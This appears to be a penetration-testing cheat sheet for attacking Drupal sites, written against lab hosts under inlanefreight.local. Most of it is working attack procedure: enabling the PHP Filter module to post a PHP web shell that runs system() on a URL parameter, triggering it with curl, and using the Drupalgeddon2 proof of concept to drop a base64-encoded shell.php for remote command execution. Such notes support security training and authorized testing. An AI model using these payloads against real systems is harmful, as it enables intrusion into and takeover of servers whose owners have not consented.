Drupal

Introduction

  • Drupal is Written in PHP, supports MySQL or PostgreSQL for the backend. SQLite can be used if there's no DBMS installed.

  • Drupal indexes its content using nodes.

  • A node can hold anything such as a blog post, poll, article, etc.

  • The page URIs are usually of the form /node/<nodeid>


Drupal Discovery/Footprinting


Attacking Drupal versions prior to version 8 [PHP Filter Module]

  • In Drupal versions prior to 8, it's possible to login as an admin to enable the PHP Filter Module

  • The PHP Filter Module basically allows PHP code to always be executed

Follow these steps:

  1. After enabling the module, navigate to Content β†’ Basic Page

  2. Add the following RCE payload: <?phpsystem($_GET['cmd']); ?>

  3. Note: toggle text format β†’ php code in the options below

  4. Gain RCE: curl -s http://drupal-qa.inlanefreight.local/node/3?cmd=id \| grep uid \| cut -f4 -d">"


Attacking Drupal version after version 8 [PHP Filter Module]

Follow these steps:

  1. Download the PHP Filter Module: wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  2. Once downloaded go to Administration β†’ Reports β†’ Available updates`.

  3. Click on Browse β†’ Select the file β†’ Install.

  4. Follow the same steps as described above (same as drupal version prior to 8)


Drupalgeddon [Drupal RCE Vulnerabilities]

Over the years, Drupal core has suffered from a few serious remote code execution vulnerabilities, each dubbed Drupalgeddon.

Proof of Concept to exploit these vulnerabilities:

  1. Drupalgeddon: https://www.exploit-db.com/exploits/34992 or exploit/multi/http/drupal_drupageddon Metasploit module

  2. Drupalgeddon2: https://www.exploit-db.com/exploits/44448 Usage:

    • Run the PoC without edits to check if the vulnerability exists

    • To gain RCE, first encode the PHP payload: echo '<?php system($_GET[cmd]);?>' | base64

    • Edit the echo line in the PoC as follows: echo "BASE64OUTPUT" | base64 -d | tee shell.php

    • Run the script: python3 drupalgeddon2.py

    • Gain RCE: curl http://drupal-dev.inlanefreight.local/shell.php?cmd=id

Last updated